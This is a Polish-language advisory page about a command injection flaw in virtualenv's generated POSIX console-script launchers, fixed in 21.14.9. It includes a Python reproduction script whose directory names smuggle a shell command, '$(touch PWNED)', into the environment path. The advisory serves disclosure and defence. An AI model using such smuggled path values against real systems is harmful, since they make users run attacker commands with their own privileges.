Wysoka

virtualenv: Generowane skrypty startowe konsoli POSIX interpretują ścieżki docelowe jako składnię powłoki

  • Ujawniono: 21.10.2026
  • Aktualizacja: 23.10.2026 00:13

Podsumowanie

Ścieżka docelowa przekazana do virtualenv może zostać zinterpretowana jako składnia powłoki przez wygenerowany skrypt startowy konsoli POSIX. Moduł app-data seeder oraz pip delegują generowanie plików startowych do distlib, lecz przekazują ścieżkę interpretera w postaci, która nie zachowuje jej jako danych dosłownych (literalnych) w wrapperze powłoki.

Obszar podatny

Skrypty konsolowe POSIX generowane przez app-data seeder lub pip, gdy ścieżka interpretera wymaga wrappera powłoki. Pliki wykonywalne startowe w systemie Windows nie są podatne tą ścieżką.

Dane wejściowe kontrolowane przez atakującego

Atakujący musi mieć wpływ na ścieżkę docelową środowiska przekazywaną do virtualenv, a użytkownik musi następnie uruchomić wygenerowany skrypt startowy. Atakujący nie musi modyfikować zainstalowanego pliku wykonywalnego ani kontrolować pamięci podręcznej app-data użytkownika.

Podatny kod

Odpowiedni kod źródłowy 21.14.8 znajduje się w ScriptMakerCustom..

Mechanizm

App-data seeder przekazuje ścieżkę interpretera środowiska poprzez enquote_executable() do ScriptMaker z biblioteki distlib. Dodaje cudzysłowy w przypadku ścieżki ze spacją, lecz nie ucieka rozwinięć powłoki (shell expansions) wewnątrz tych cudzysłowów. Gdy ścieżka zawiera spację lub linia shebang przekracza 127 bajtów, distlib generuje wrapper #!/bin/sh z wierszem w postaci '''exec' "<path>" "$0" "$@". Powłoka dokonuje rozwinięcia $(...) oraz grawisów (backticks) w tej ścieżce w momencie uruchomienia skryptu startowego. Ten sam wrapper musi być również poprawnie parsowany jako Python, co stwarza dodatkowe przypadki dla cudzysłowów i ukośników odwrotnych. Samo tworzenie oraz aktywacja środowiska nie wyzwalają ładunku powłoki.

Odtworzenie i dowody

Skaner utworzył trzy środowiska: kontrolne pod my -touch PWNED- project, drugie pod my $(touch PWNED) project oraz trzecie pod ścieżką dłuższą niż 127 bajtów zakończoną ciągiem $(touch${IFS}PWNED). Każde z nich zostało utworzone bez wygenerowania PWNED. Uruchomienie wygenerowanego bin/pip --version utworzyło PWNED w obu przypadkach ataku; środowisko kontrolne nie utworzyło żadnego. Przypadek długiej ścieżki trafił do wrappera powłoki bez użycia spacji. Potwierdza to wykonanie przez wygenerowany skrypt startowy z uprawnieniami użytkownika, a nie w trakcie seedingu.

Raport datuje integrację starterów distlib w app-data seederze na #1579, wydaną po raz pierwszy w 20.0.2. PR #3417 cytuje surową ścieżkę interpretera dla wrappera POSIX i naprawia skrypty zapisane przez pip seedera. Własna biblioteka distlib w pip może ponownie zapisać podatny wrapper podczas późniejszej instalacji lub aktualizacji pakietu przez pip; proponowana poprawka virtualenv nie modyfikuje kodu dołączonego do pip (vendored). Przegląd uzupełniający dostarczony przez opiekuna projektu opisuje tę późniejszą ścieżkę oddzielnie.

Sekwencja ataku

mermaid
sequenceDiagram
    participant A as Destination supplier
    participant V as virtualenv seeder
    participant D as distlib ScriptMaker
    participant S as Generated bin/pip
    participant U as User
    A->>V: path contains $(touch PWNED)
    V->>D: pass interpreter path with incomplete shell quoting
    D->>S: write /bin/sh wrapper
    Note over V,S: no payload runs during creation or activation
    U->>S: pip --version
    S->>S: shell expands path and runs touch
    S-->>U: PWNED appears with user's privileges

Pliki odtwarzające błąd

Poniższe pliki pochodzą z raportu skanera dla ANT-2026-5DZVLGL1. Zostały przetestowane względem commita a857a7823c73 w obrazie skanera. Punkt wejścia repro oczekuje plików towarzyszących w /tmp/repro.d; przypadki zmieniające identyfikatory użytkowników wymagają kontenera z dostępem do uprawnień root. Ostatnią linią wyjścia jest BUG, gdy zgłoszone zachowanie występuje. Pliki te są dołączone jako dowód i nie były ponownie uruchamiane na potrzeby tej aktualizacji.

repro

#!/usr/bin/env python3
import shutil
import subprocess
from pathlib import Path

WORK = Path("/tmp/repro-console-script")

# The attacker's whole input: the name of a directory above the environment (a repository, a project folder).
DIRECTORY_NAMES = {
    "CONTROL": "my -touch PWNED- project",
    "OBSERVED": "my $(touch PWNED) project",
    # no space: distlib also picks the /bin/sh launcher once "#!<dest>/bin/python" is longer than 127 bytes
    "OBSERVED_LONG": "p" * 120 + "$(touch${IFS}PWNED)",
}

shutil.rmtree(WORK, ignore_errors=True)
pip_printed = {}
created_by_pip = {}
for label, name in DIRECTORY_NAMES.items():
    # the payload can hold no "/", so it touches a relative PWNED: each case gets its own empty working directory
    cwd = WORK / label / "cwd"
    venv = WORK / label / name / "venv"
    cwd.mkdir(parents=True)

    # set up: the user creates an environment there with default options (--no-periodic-update keeps it offline)
    subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", str(venv)], cwd=cwd, check=True)
    assert list(cwd.iterdir()) == [], "environment creation must not have created anything"

    # trigger: the user runs the seeded pip; argv is a list, so the only shell that reads the name is bin/pip's own
    pip = subprocess.run([venv / "bin" / "pip", "--version"], cwd=cwd, capture_output=True, text=True)
    pip_printed[label] = pip.stdout
    created_by_pip[label] = sorted(p.name for p in cwd.iterdir())

    launcher = (venv / "bin" / "pip").read_text().splitlines()
    print(f"{label}: directory name {name!r}")
    print(f"  bin/pip line 1: {launcher[0]}")
    print(f"  bin/pip line 2: {launcher[1]}")
    print(f"  bin/pip --version printed: {(pip.stdout + pip.stderr).strip()}")
    print(f"  files bin/pip created in the working directory: {created_by_pip[label]}")

# check: a directory name is data; starting pip must run pip and nothing else
control_ok = pip_printed["CONTROL"].startswith("pip ") and created_by_pip["CONTROL"] == []
attack_ran = created_by_pip["OBSERVED"] == ["PWNED"] and created_by_pip["OBSERVED_LONG"] == ["PWNED"]
print("BUG" if control_ok and attack_ran else "OK")

Zakres poprawki i pozostałe ryzyko

PR #3417 zmienia sposób generowania skryptów startowych przez app-data seeder i naprawia wrappery powłoki POSIX po seedingu przez pip. Naprawa w pip seederze wykorzystuje tę samą regułę cytowania i aktualizuje skróty oraz rozmiary w zainstalowanym pliku RECORD. Nie modyfikuje biblioteki distlib dostarczanej wewnątrz pip.

Późniejsza niezależna instalacja lub aktualizacja za pomocą pip może zastąpić poprawiony skrypt startowy wersją podatną. Istniejące skrypty startowe nie są naprawiane przez samą aktualizację virtualenv. Należy ponownie utworzyć środowiska za pomocą poprawionej wersji virtualenv, aby wygenerować je na nowo, oraz stosować zaufane ścieżki docelowe. Ponowne utworzenie środowiska nie chroni skryptów startowych, które zostaną później nadpisane przez pip. Przegląd uzupełniający potwierdza odtworzenie problemu poprzez wcześniejszy seeder pip oraz po aktualizacji pip; wyniki te przypisuje się autorowi przeglądu.

Wpływ

Uruchomienie podatnego skryptu startowego może wykonać polecenia z uprawnieniami wywołującego użytkownika. Klasyfikacja: wysoka, CVSS 7.8, CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, zgodnie z precedensem projektu dotyczącym generowanych skryptów (generated-script precedent.. Wektor zakłada dane ścieżki kontrolowane przez atakującego i użytkownika wywołującego wygenerowany skrypt. Wcześniejsze uprawnienia ofiary nie są wymagane; udane wykonanie polecenia może wpłynąć na dane i procesy użytkownika.

Testowane wersje

Opiekun projektu potwierdził walidację zgłoszonych ustaleń w wydaniu 21.14.8. Kolejny przegląd dokumentuje odtworzenie problemu na nienaprawionej gałęzi upstream/main; podatna integracja starterów oraz deklaracje zależności nie uległy zmianie od 21.14.8. Pierwsze podatne wydanie nie zostało ustalone. Naprawiono w 21.14.9.

Znane środki zaradcze

Używaj ścieżki docelowej środowiska wybranej przez zaufanego użytkownika. W przypadku starszych wydań należy unikać generowania środowisk w lokalizacjach pochodzących z niezaufanych źródeł.

Podatne wydanie

  • Problem można odtworzyć w virtualenv 21.14.8.

Podziękowania

Zgłoszone przez OSS Scanner firmy Anthropic jako ANT-2026-5DZVLGL1.

Co trzeba zrobić

Zaktualizuj virtualenv do wersji 21.14.9 lub nowszej. Sama aktualizacja virtualenv nie naprawia istniejących skryptów startowych; należy ponownie utworzyć środowiska za pomocą naprawionej wersji virtualenv i upewnić się, że używane są zaufane ścieżki docelowe. Ponowne utworzenie nie chroni skryptów, które zostaną później nadpisane przez pip. Jako obejście tymczasowe należy stosować ścieżki docelowe zdefiniowane przez zaufanych użytkowników i unikać tworzenia środowisk w ścieżkach pochodzących z niezaufanych źródeł.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) virtualenv < 21.14.9 21.14.9

Odnośniki

Ocena CVSS 7.8/10
Wektor CVSS
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Słabość (CWE)
CWE-78
Platforma
Python (PyPI)
Paczka
virtualenv
Ujawniono
21.10.2026
Aktualizacja
23.10.2026 00:13

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-c978-59m8-c77v - CC BY 4.0

Historia podatności: virtualenv

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (13) w archiwum
Wszystkich wpisów
13
Pierwsza → ostatnia
12.2011 10.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Wysoka 7
  • Średnia 6

Ujawnienia w latach

  1. 2017: 0
  2. 2018: 0
  3. 2019: 0
  4. 2020: 0
  5. 2021: 0
  6. 2022: 0
  7. 2023: 0
  8. 2024: 1
  9. 2025: 0
  10. 2026: 11

wcześniej: 1

Istotność:
  1. virtualenv: Generowane skrypty startowe konsoli POSIX interpretują ścieżki docelowe jako składnię powłoki ten wpis
    Wysoka · 7.8 CVE-2026-113722 < 21.14.9 21.14.9
  2. Wysoka CVE-2026-102937 < 21.7.12 21.7.12

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.